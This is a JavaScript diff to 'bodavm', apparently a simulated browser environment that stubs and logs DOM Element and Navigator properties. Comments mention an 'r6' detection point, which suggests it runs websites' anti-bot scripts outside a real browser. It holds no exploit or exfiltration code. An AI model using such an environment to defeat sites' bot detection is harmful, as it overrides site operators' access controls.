bodavm.envFunc.Element_ariaColCount_get = function Element_ariaColCount_get() { console.log_copy("Element_ariaColCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaDescription_get = function Element_ariaDescription_get() { console.log_copy("Element_ariaDescription_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaCurrent_get = function Element_ariaCurrent_get() { console.log_copy("Element_ariaCurrent_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaColSpan_get = function Element_ariaColSpan_get() { console.log_copy("Element_ariaColSpan_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaColIndex_get = function Element_ariaColIndex_get() { console.log_copy("Element_ariaColIndex_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaDisabled_get = function Element_ariaDisabled_get() { console.log_copy("Element_ariaDisabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaExpanded_get = function Element_ariaExpanded_get() { console.log_copy("Element_ariaExpanded_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaHasPopup_get = function Element_ariaHasPopup_get() { console.log_copy("Element_ariaHasPopup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaHidden_get = function Element_ariaHidden_get() { console.log_copy("Element_ariaHidden_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaInvalid_get = function Element_ariaInvalid_get() { console.log_copy("Element_ariaInvalid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaKeyShortcuts_get = function Element_ariaKeyShortcuts_get() { console.log_copy("Element_ariaKeyShortcuts_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaLevel_get = function Element_ariaLevel_get() { console.log_copy("Element_ariaLevel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaLabel_get = function Element_ariaLabel_get() { console.log_copy("Element_ariaLabel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaLive_get = function Element_ariaLive_get() { console.log_copy("Element_ariaLive_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaModal_get = function Element_ariaModal_get() { console.log_copy("Element_ariaModal_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaMultiLine_get = function Element_ariaMultiLine_get() { console.log_copy("Element_ariaMultiLine_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaMultiSelectable_get = function Element_ariaMultiSelectable_get() { console.log_copy("Element_ariaMultiSelectable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaOrientation_get = function Element_ariaOrientation_get() { console.log_copy("Element_ariaOrientation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaPlaceholder_get = function Element_ariaPlaceholder_get() { console.log_copy("Element_ariaPlaceholder_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaPosInSet_get = function Element_ariaPosInSet_get() { console.log_copy("Element_ariaPosInSet_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaPressed_get = function Element_ariaPressed_get() { console.log_copy("Element_ariaPressed_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaReadOnly_get = function Element_ariaReadOnly_get() { console.log_copy("Element_ariaReadOnly_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaRequired_get = function Element_ariaRequired_get() { console.log_copy("Element_ariaRequired_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaRelevant_get = function Element_ariaRelevant_get() { console.log_copy("Element_ariaRelevant_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaRoleDescription_get = function Element_ariaRoleDescription_get() { console.log_copy("Element_ariaRoleDescription_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaRowCount_get = function Element_ariaRowCount_get() { console.log_copy("Element_ariaRowCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaRowIndex_get = function Element_ariaRowIndex_get() { console.log_copy("Element_ariaRowIndex_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaRowSpan_get = function Element_ariaRowSpan_get() { console.log_copy("Element_ariaRowSpan_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaSelected_get = function Element_ariaSelected_get() { console.log_copy("Element_ariaSelected_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaSort_get = function Element_ariaSort_get() { console.log_copy("Element_ariaSort_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaSetSize_get = function Element_ariaSetSize_get() { console.log_copy("Element_ariaSetSize_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaValueMax_get = function Element_ariaValueMax_get() { console.log_copy("Element_ariaValueMax_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaValueMin_get = function Element_ariaValueMin_get() { console.log_copy("Element_ariaValueMin_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaValueNow_get = function Element_ariaValueNow_get() { console.log_copy("Element_ariaValueNow_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaValueText_get = function Element_ariaValueText_get() { console.log_copy("Element_ariaValueText_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_assignedSlot_get = function Element_assignedSlot_get() { console.log_copy("Element_assignedSlot_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_attributeStyleMap_get = function Element_attributeStyleMap_get() { console.log_copy("Element_attributeStyleMap_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_childElementCount_get = function Element_childElementCount_get() { console.log_copy("ElementCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_classList_get = function Element_classList_get() { console.log_copy("Element_classList_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_className_get = function Element_className_get() { console.log_copy("Element_className_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_elementTiming_get = function Element_elementTiming_get() { console.log_copy("Element_elementTiming_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_firstElementChild_get = function Element_firstElementChild_get() { console.log_copy("ElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_lastElementChild_get = function Element_lastElementChild_get() { console.log_copy("ElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_localName_get = function Element_localName_get() { console.log_copy("Element_localName_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_namespaceURI_get = function Element_namespaceURI_get() { console.log_copy("Element_namespaceURI_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_nextElementSibling_get = function Element_nextElementSibling_get() { console.log_copy("ElementSibling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onbeforecopy_get = function Element_onbeforecopy_get() { console.log_copy("Element_onbeforecopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onbeforecut_get = function Element_onbeforecut_get() { console.log_copy("Element_onbeforecut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onbeforepaste_get = function Element_onbeforepaste_get() { console.log_copy("Element_onbeforepaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onfullscreenchange_get = function Element_onfullscreenchange_get() { console.log_copy("Element_onfullscreenchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onfullscreenerror_get = function Element_onfullscreenerror_get() { console.log_copy("Element_onfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onsearch_get = function Element_onsearch_get() { console.log_copy("Element_onsearch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onwebkitfullscreenchange_get = function Element_onwebkitfullscreenchange_get() { console.log_copy("Element_onwebkitfullscreenchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_onwebkitfullscreenerror_get = function Element_onwebkitfullscreenerror_get() { console.log_copy("Element_onwebkitfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_part_get = function Element_part_get() { console.log_copy("Element_part_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_prefix_get = function Element_prefix_get() { console.log_copy("Element_prefix_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_previousElementSibling_get = function Element_previousElementSibling_get() { console.log_copy("ElementSibling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_scrollHeight_get = function Element_scrollHeight_get() { console.log_copy("Element_scrollHeight_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_shadowRoot_get = function Element_shadowRoot_get() { console.log_copy("Element_shadowRoot_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_scrollWidth_get = function Element_scrollWidth_get() { console.log_copy("Element_scrollWidth_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_slot_get = function Element_slot_get() { console.log_copy("Element_slot_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Element_tagName_get = function Element_tagName_get() { let tagname = this._boarg.tagName if (bodavm.memory.isdebug) { debugger } - console.log("Element_tagName_get ", `tagname->${tagname}`) + console.log_copy("Element_tagName_get ", `tagname->${tagname}`) return tagname } bodavm.envFunc.Element_getElementsByClassName = function Element_getElementsByClassName() { class_list={} - console.log(`Element_getElementsByClassName `, `!!!!!!!!!未完善!!!!!!!!!!!! `); + console.log_copy(`Element_getElementsByClassName `, `!!!!!!!!!未完善!!!!!!!!!!!! `); class_list.__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype return class_list @@ -3301,7 +3546,7 @@ } bodavm.envFunc.Element_append = function Element_append() { let child = arguments[0] - console.log(`Element_append `, `child->${child}`); + console.log_copy(`Element_append `, `child->${child}`); this._boarg.append(child._boarg) // debugger @@ -3313,15 +3558,18 @@ if (this instanceof HTMLFormElement) { for (let i = 0; i < bodavm.memory.formlist.length; i++) { if (bodavm.memory.formlist[i] == this._boarg) { - for (let j = 0; j < bodavm.memory.formlist[i]['child'].length; j++) { - if (bodavm.memory.formlist[i]['child'][j]._boarg.name == 'id') { - id = bodavm.memory.formlist[i]['child'][j] + if (bodavm.memory.formlist[i]['child']){ + for (let j = 0; j < bodavm.memory.formlist[i]['child'].length; j++) { + if (bodavm.memory.formlist[i]['child'][j]._boarg.name == 'id') { + id = bodavm.memory.formlist[i]['child'][j] + } } } + } } } - console.log("Element_id_get ", `id ->${id}`, `r6检测点`) + console.log_copy("Element_id_get ", `id ->${id}`, `r6检测点`) return id } @@ -3332,45 +3580,47 @@ // debugger // bodavm.toolsFunc.setProtoAttr.call(this,'id',id) this._boarg['id'] = arguments[0] - console.log(`Element_id_set `, ` id->${arguments[0]}`); + console.log_copy(`Element_id_set `, ` id->${arguments[0]}`); return arguments[0] } bodavm.envFunc.Element_className_set = function () { // let className = arguments[0] - debugger + // debugger if (bodavm.config.isdebug) { debugger } - console.log(`Element_className_set`, `!!!!!!!!!未完善!!!!!!!!!!!!`); - bodavm.toolsFunc.setProtoAttr.call(this, 'className', className) - return className + + // bodavm.toolsFunc.setProtoAttr.call(this, 'className', className) + this._boarg.className =arguments[0] + console.log_copy(`Element_className_set -> `, `arg ->`,arguments[0]); + // return className } bodavm.envFunc.Element_attributes_get = function () { debugger - console.log(`Element_attributes_get `, `!!!!!!!!!未完善!!!!!!!!!!!! `); + console.log_copy(`Element_attributes_get `, `!!!!!!!!!未完善!!!!!!!!!!!! `); } bodavm.envFunc.Element_scrollLeft_get = function Element_scrollLeft_get() { - console.log(`Element_scrollLeft_get `, `${0} `); + console.log_copy(`Element_scrollLeft_get `, `${0} `); if (bodavm.config.isdebug) { debugger };; return 0 } bodavm.envFunc.Element_clientLeft_get = function Element_clientLeft_get() { - console.log(`Element_clientLeft_get `, `${0} `); + console.log_copy(`Element_clientLeft_get `, `${0} `); if (bodavm.config.isdebug) { debugger };; return 0 } bodavm.envFunc.Element_clientTop_get = function Element_clientTop_get() { - console.log(`Element_clientTop_get `, `${0} `); + console.log_copy(`Element_clientTop_get `, `${0} `); if (bodavm.config.isdebug) { debugger };; return 0 } bodavm.envFunc.Element_scrollTop_get = function Element_scrollTop_get() { - console.log(`Element_scrollTop_get `, `${0} `); + console.log_copy(`Element_scrollTop_get `, `${0} `); if (bodavm.config.isdebug) { debugger };; return 0 @@ -3380,32 +3630,33 @@ bodavm.envFunc.Element_remove = function Element_remove() { if (bodavm.config.isdebug) { debugger };; debugger - let tagname = this._tagName - let self = this + // let tagname = this._tagName + // let self = this + this._boarg.remove() + console.log_copy(`Element_remove ->`,'removeobj ->',this) + // if (class_) { + // //取到bodavm.memory.tag[0]._className[class_]列表 - if (class_) { - //取到bodavm.memory.tag[0]._className[class_]列表 + // for (let i = 0; i < bodavm.memory.tag[0]._className[class_].length; i++) { + // if (bodavm.memory.tag[0]._className[class_][i] == this) { + // bodavm.memory.tag[0]._className[class_].splice(i, 1) + // } - for (let i = 0; i < bodavm.memory.tag[0]._className[class_].length; i++) { - if (bodavm.memory.tag[0]._className[class_][i] == this) { - bodavm.memory.tag[0]._className[class_].splice(i, 1) - } + // } + // } + // for (let i = 0; i < bodavm.memory.tag[0]._tagelements[tagname].length; i++) { + // if (bodavm.memory.tag[0]._tagelements[tagname][i] == this) { + // bodavm.memory.tag[0]._tagelements[tagname].splice(i, 1) + // } - } - } - for (let i = 0; i < bodavm.memory.tag[0]._tagelements[tagname].length; i++) { - if (bodavm.memory.tag[0]._tagelements[tagname][i] == this) { - bodavm.memory.tag[0]._tagelements[tagname].splice(i, 1) - } - - } + // } } bodavm.envFunc.Element_clientHeight_get = function Element_clientHeight_get() { let clientHeight = 0 - console.log(`Element_clientHeight_get `, `${clientHeight} `); + console.log_copy(`Element_clientHeight_get `, `${clientHeight} `); if (bodavm.config.isdebug) { debugger };; return clientHeight @@ -3415,7 +3666,7 @@ //无返回值 if (bodavm.config.isdebug) { debugger };; this._boarg.removeAttribute(attr) - console.log(`Element_removeAttribute `, `${attr} `, `=============================!!!!!!!!!未完善!!!!!!!!!!!!`); + console.log_copy(`Element_removeAttribute `, `${attr} `, `=============================!!!!!!!!!未完善!!!!!!!!!!!!`); //IE 返回 boolean 类型值,其他返回 undefined } bodavm.envFunc.Element_setAttribute = function Element_setAttribute() { @@ -3426,13 +3677,13 @@ let value = arguments[1] this._boarg.setAttribute(name, value) - console.log(`Element_setAttribute `, `name->${name} `, `value->${value} `); + console.log_copy(`Element_setAttribute `, `name->${name} `, `value->${value} `); ; } bodavm.envFunc.Element_clientWidth_get = function Element_clientWidth_get() { if (bodavm.config.isdebug) { debugger } - console.log(`Element_clientWidth_get `, `${0} `); + console.log_copy(`Element_clientWidth_get `, `${0} `); return 0 } @@ -3440,7 +3691,7 @@ // let outerHtml = this._elements[0].outerHTML let outhtml = this._boarg.outerHTML - console.log(`Element_outerHTML_get==> `, `outhtml->${outhtml}`,); + console.log_copy(`Element_outerHTML_get==> `, `outhtml->${outhtml}`,); if (bodavm.config.isdebug) { debugger };; //腾讯qq邮箱hk @@ -3452,7 +3703,7 @@ tagName=this._boarg.nodeName if (bodavm.memory.collection[tagName]){ - console.log(`Element_children_get `, `bodavm.memory.collection[${tagName}]已存在直接返回`); + console.log_copy(`Element_children_get `, `bodavm.memory.collection[${tagName}]已存在直接返回`); return bodavm.memory.collection[tagName] } if (!bodavm.memory.collection[tagName]){ @@ -3489,14 +3740,14 @@ if (target.__proto__ ==Array.prototype){ return true } - console.log(target,`正在删除属性`,propkey,`默认返回false`); + console.log_copy(target,`正在删除属性`,propkey,`默认返回false`); return false } }) bodavm.memory.collection[tagName].__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype bodavm.memory.collection[tagName]._boarg = taglist - console.log(`Element_children_get `, ` taglist->${taglist}`); + console.log_copy(`Element_children_get `, ` taglist->${taglist}`); bodavm.memory.collection[tagName].__proto__[Symbol.iterator] = Array.prototype[Symbol.iterator]; return bodavm.memory.collection[tagName] @@ -3506,13 +3757,13 @@ // debugger if (bodavm.config.isdebug) { debugger };; - console.log(`Element_getBoundingClientRect`, '!!!!!!!!!未完善!!!!!!!!!!!!'); + console.log_copy(`Element_getBoundingClientRect`, '!!!!!!!!!未完善!!!!!!!!!!!!'); } bodavm.envFunc.Element_innerHTML_get = function Element_innerHTML_get() { let res = this._boarg.innerHTML if (bodavm.config.isdebug) { debugger };; - console.log(`Element_innerHTML_get `, `-> res->${res}`); + console.log_copy(`Element_innerHTML_get `, `-> res->${res}`); return res } @@ -3521,7 +3772,7 @@ if (bodavm.config.isdebug) { debugger };; let html = arguments[0] + ''; this._boarg.innerHTML = html - console.log(`Element_innerHTML_set `, `html->${html}`); + console.log_copy(`Element_innerHTML_set `, `html->${html}`); return html } bodavm.envFunc.Element_getAttribute = function () { @@ -3529,7 +3780,7 @@ // debugger if (bodavm.config.isdebug) { debugger; } let value = this._boarg.getAttribute(attr) - console.log(`Element_getAttribute `, `attr->${attr} `, `value->${value} `) + console.log_copy(`Element_getAttribute `, `attr->${attr} `, `value->${value} `) return value @@ -3541,7 +3792,7 @@ // debugger let tagName = arguments[0].toUpperCase(); if (bodavm.memory.collection[tagName]){ - console.log(`Element_getElementsByTagName`,`bodavm.memory.collection[${tagName}] 已存在直接返回`) + console.log_copy(`Element_getElementsByTagName`,`bodavm.memory.collection[${tagName}] 已存在直接返回`) return bodavm.memory.collection[tagName] } if (!bodavm.memory.collection[tagName]){ @@ -3574,105 +3825,105 @@ if (target.__proto__ ==Array.prototype){ return true } - console.log(target,`正在删除属性`,propkey,`默认返回false`); + console.log_copy(target,`正在删除属性`,propkey,`默认返回false`); return false } }) bodavm.memory.collection[tagName].__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype bodavm.memory.collection[tagName]._boarg = taglist - console.log(`Element_getElementsByTagName `, `tagName->${tagName} `, ` taglist->${taglist}`); + console.log_copy(`Element_getElementsByTagName `, `tagName->${tagName} `, ` taglist->${taglist}`); bodavm.memory.collection[tagName].__proto__[Symbol.iterator] = Array.prototype[Symbol.iterator]; return bodavm.memory.collection[tagName] } //Navigator - bodavm.envFunc.Navigator_clipboard_get = function Navigator_clipboard_get() { console.log("Navigator_clipboard_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_geolocation_get = function Navigator_geolocation_get() { console.log("Navigator_geolocation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_hid_get = function Navigator_hid_get() { console.log("Navigator_hid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_ink_get = function Navigator_ink_get() { console.log("Navigator_ink_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_keyboard_get = function Navigator_keyboard_get() { console.log("Navigator_keyboard_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_clipboard_get = function Navigator_clipboard_get() { console.log_copy("Navigator_clipboard_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_geolocation_get = function Navigator_geolocation_get() { console.log_copy("Navigator_geolocation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_hid_get = function Navigator_hid_get() { console.log_copy("Navigator_hid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_ink_get = function Navigator_ink_get() { console.log_copy("Navigator_ink_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_keyboard_get = function Navigator_keyboard_get() { console.log_copy("Navigator_keyboard_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Navigator_locks_get = function Navigator_locks_get() { let locks = bodavm.memory.cache['Navigator_locks_get'] locks.__proto__ = bodavm.memory.globalobj['LockManager'].prototype - console.log("Navigator_locks_get ", `locks ->${locks}`) + console.log_copy("Navigator_locks_get ", `locks ->${locks}`) return locks } - bodavm.envFunc.Navigator_managed_get = function Navigator_managed_get() { console.log("Navigator_managed_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_mediaCapabilities_get = function Navigator_mediaCapabilities_get() { console.log("Navigator_mediaCapabilities_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_mediaDevices_get = function Navigator_mediaDevices_get() { console.log("Navigator_mediaDevices_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_mediaSession_get = function Navigator_mediaSession_get() { console.log("Navigator_mediaSession_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_onLine_get = function Navigator_onLine_get() { console.log("Navigator_onLine_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_pdfViewerEnabled_get = function Navigator_pdfViewerEnabled_get() { console.log("Navigator_pdfViewerEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_managed_get = function Navigator_managed_get() { console.log_copy("Navigator_managed_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_mediaCapabilities_get = function Navigator_mediaCapabilities_get() { console.log_copy("Navigator_mediaCapabilities_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_mediaDevices_get = function Navigator_mediaDevices_get() { console.log_copy("Navigator_mediaDevices_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_mediaSession_get = function Navigator_mediaSession_get() { console.log_copy("Navigator_mediaSession_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_onLine_get = function Navigator_onLine_get() { console.log_copy("Navigator_onLine_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_pdfViewerEnabled_get = function Navigator_pdfViewerEnabled_get() { console.log_copy("Navigator_pdfViewerEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Navigator_permissions_get = function Navigator_permissions_get() { // debugger let permissions = bodavm.memory.cache['Navigator_permissions_get'] permissions.__proto__ = bodavm.memory.globalobj['Permissions'].prototype - console.log("Navigator_permissions_get ", `permissions->${permissions}`) + console.log_copy("Navigator_permissions_get ", `permissions->${permissions}`) return permissions } - bodavm.envFunc.Navigator_presentation_get = function Navigator_presentation_get() { console.log("Navigator_presentation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_scheduling_get = function Navigator_scheduling_get() { console.log("Navigator_scheduling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_serial_get = function Navigator_serial_get() { console.log("Navigator_serial_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_serviceWorker_get = function Navigator_serviceWorker_get() { console.log("Navigator_serviceWorker_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_usb_get = function Navigator_usb_get() { console.log("Navigator_usb_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_userActivation_get = function Navigator_userActivation_get() { console.log("Navigator_userActivation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_virtualKeyboard_get = function Navigator_virtualKeyboard_get() { console.log("Navigator_virtualKeyboard_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_wakeLock_get = function Navigator_wakeLock_get() { console.log("Navigator_wakeLock_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Navigator_webkitTemporaryStorage_get = function Navigator_webkitTemporaryStorage_get() { console.log("Navigator_webkitTemporaryStorage_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_presentation_get = function Navigator_presentation_get() { console.log_copy("Navigator_presentation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_scheduling_get = function Navigator_scheduling_get() { console.log_copy("Navigator_scheduling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_serial_get = function Navigator_serial_get() { console.log_copy("Navigator_serial_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_serviceWorker_get = function Navigator_serviceWorker_get() { console.log_copy("Navigator_serviceWorker_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_usb_get = function Navigator_usb_get() { console.log_copy("Navigator_usb_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_userActivation_get = function Navigator_userActivation_get() { console.log_copy("Navigator_userActivation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_virtualKeyboard_get = function Navigator_virtualKeyboard_get() { console.log_copy("Navigator_virtualKeyboard_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_wakeLock_get = function Navigator_wakeLock_get() { console.log_copy("Navigator_wakeLock_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Navigator_webkitTemporaryStorage_get = function Navigator_webkitTemporaryStorage_get() { console.log_copy("Navigator_webkitTemporaryStorage_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Navigator_javaEnabled = function () { let javaEnabled = bodavm.memory.navigator['javaEnabled'] - console.log(`Navigator_javaEnabled `, `${javaEnabled} `); + console.log_copy(`Navigator_javaEnabled `, `${javaEnabled} `); return javaEnabled } bodavm.envFunc.Navigator_productSub_get = function () { if (bodavm.config.isdebug) { debugger; } let productSub = bodavm.memory.navigator["productSub"] - console.log(`Navigator_productSub_get `, `${productSub} `); + console.log_copy(`Navigator_productSub_get `, `${productSub} `); return productSub } bodavm.envFunc.Navigator_userAgentData_get = function () { if (bodavm.config.isdebug) { debugger; } let userAgentData = bodavm.memory.navigator["userAgentData"] - console.log(`Navigator_userAgentData_get `, `${userAgentData} `); + console.log_copy(`Navigator_userAgentData_get `, `${userAgentData} `); return userAgentData } bodavm.envFunc.Navigator_xr_get = function Navigator_xr_get() { if (bodavm.config.isdebug) { debugger; } let xr = bodavm.memory.navigator["xr"] - console.log(`Navigator_xr_get `, `${xr} `); + console.log_copy(`Navigator_xr_get `, `${xr} `); return xr } bodavm.envFunc.Navigator_appCodeName_get = function Navigator_appCodeName_get() { let appCodeName = bodavm.memory.navigator["appCodeName"] - console.log(`Navigator_appCodeName_get `, `${appCodeName} `); + console.log_copy(`Navigator_appCodeName_get `, `${appCodeName} `); if (bodavm.config.isdebug) { debugger };; return appCodeName } bodavm.envFunc.Navigator_appName_get = function Navigator_appName_get() { let appName = bodavm.memory.navigator["appName"] - console.log(`Navigator_appName_get `, `${appName} `); + console.log_copy(`Navigator_appName_get `, `${appName} `); if (bodavm.config.isdebug) { debugger };; return appName } bodavm.envFunc.Navigator_vendor_get = function Navigator_vendor_get() { let vendor = bodavm.memory.navigator["vendor"] - console.log(`Navigator_vendor_get `, `${vendor} `); + console.log_copy(`Navigator_vendor_get `, `${vendor} `); if (bodavm.config.isdebug) { debugger };; return vendor } bodavm.envFunc.Navigator_platform_get = function Navigator_platform_get() { let platform = bodavm.memory.navigator['platform'] - console.log(`Navigator_platform_get `, `${platform} `); + console.log_copy(`Navigator_platform_get `, `${platform} `); if (bodavm.config.isdebug) { debugger };; return platform; @@ -3680,24 +3931,25 @@ 